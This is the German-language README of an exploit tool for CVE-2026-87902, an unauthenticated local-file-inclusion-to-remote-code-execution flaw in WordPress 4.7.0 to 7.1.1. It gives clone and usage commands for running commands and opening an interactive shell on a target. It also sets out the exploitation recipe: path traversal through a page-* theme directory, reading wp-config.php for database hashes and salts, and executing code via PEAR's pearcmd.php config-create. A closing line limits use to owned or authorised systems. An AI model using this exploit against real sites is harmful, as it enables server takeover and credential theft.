CVE-2026-87902 — WordPress LFI → RCE

Nicht authentifizierter Exploit (LFI → RCE) für WordPress 4.7.0 – 7.1.1 · Fix: 7.1.2

Verwendung

git clone https://github.com/Maalfer/CVE-2026-87902-exploit.git
cd CVE-2026-87902-exploit

# 1) LFI validieren (schreibt nichts auf den Server)
python3 exploit.py --url http://ziel/ --validate-only

# 2) RCE
python3 exploit.py --url http://ziel/ -c "id"

# 3) interaktive Konsole
python3 exploit.py --url http://objetivo/ -c id --shell

Bedingungen, damit ein WordPress ausnutzbar ist

Alle vier müssen gleichzeitig erfüllt sein. Fehlt die 3., existiert die LFI nicht.

• WordPress < 7.1.2 — der Fehler liegt in get_page_template(), ohne validate_file(). In 7.1.2+ ist er gepatcht.
• Mindestens eine veröffentlichte Seite — es wird eine page_id benötigt, damit WordPress das Template auflöst (wird automatisch über REST erkannt).
• Ein echtes Verzeichnis page-* im aktiven Theme — zwingend erforderlich: file_exists() durchquert keine nicht existierende Komponente, daher steigt das ../ nur auf, wenn das erste Segment auf der Festplatte existiert. Twenty Twelve (page-templates/) bringt es mit; die meisten Block-Themes (Twenty Twenty-Three) nicht. Betrifft auch das Parent-Theme.
• Für RCE: lesbare pearcmd.php + register_argc_argv=On — die LFI liest nur; die Ausführung nutzt den Polyglot config-create von PEAR. Mit register_argc_argv=Off oder ohne installiertes PEAR gibt es eine LFI, aber keine RCE.

Ohne die 4. ist das Ergebnis reine LFI: Sie erlaubt das Lesen jeder .php des Systems, zum Beispiel page-templates/../../../wp-config.php (Hashes und Salts der DB).

Nur für eigene Systeme oder mit schriftlicher Genehmigung.